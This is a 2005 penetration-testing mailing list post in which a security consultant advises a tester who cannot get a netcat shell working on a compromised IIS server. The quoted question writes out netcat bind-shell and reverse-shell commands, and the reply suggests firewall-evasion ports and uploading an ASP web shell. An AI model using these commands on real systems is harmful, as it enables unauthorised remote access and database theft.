Penetration Testing mailing list archives
Re: Netcat Question
From: Mariano Nuñez Di Croce <mnunez () cybsec com>
Date: Wed, 01 Jun 2005 11:40:30 -0300
You probably have a firewall in front of the target webserver. I would recommend you to follow the following steps: 1. Do a tcp full scan to see if you can get one port in "closed" state. Then try to bind netcat to that port and connect remotely. 2. If the firewall if statefull I think you won't be able to reverse connect to your public IP, because it will filter the outgoing SYN packet. Anyway, you should try to connect to your public IP in common ports, like 21,53 and 80. Maybe those aren't filtered. By the way, if you want a shell-like prompt, you can upload cmdASP, which provides shell interaction through an ASP page. Hope this helps, ------------------------------ Mariano Nuñez Di Croce CYBSEC S.A. Security Systems Email: mnunez () cybsec com Tel/Fax: (54-11) 4382-1600 Web: http://www.cybsec.com ------------------------------ intel96 wrote:
To All, I am conducting a pentest and I have been able to upload netcat to the web server (IIS 6.0 - with ports 80/443 open) via ftp. I have tried to establish a shell both ways, but cannot get it to work: On the web server I first tried: nc.exe –l –p 8000 –e cmd.exe When I tried to connect to port 8000 on the web server I received a timeout on my side. I have also tried this with port 53 and it also did not work. I than tried: nc.exe –nv my_public_ip_address 443 -d –e cmd.exe This did not work either. I did not see the remote system trying to connect to my system via my logs. I have access to upload anything to the system and run most commands via sql injections. I have administrator level access on the system at this time. Any ideas on how I can get this shell to work? Or there any other commands that may provide me more access or allow me to dump the database? Thanks, Intel96
Current thread:
- RE: Netcat Question Meidinger Chris (Jun 01)
- <Possible follow-ups>
- Netcat Question intel96 (Jun 01)
- RE: Netcat Question Miguel Dilaj (Jun 01)
- Re: Netcat Question Jordan . DelGrande (Jun 01)
- Re: Netcat Question Mariano Nuñez Di Croce (Jun 01)
- Re: Netcat Question atomek (Jun 01)
- RE: Netcat Question Bartholomew, Brian J (Jun 01)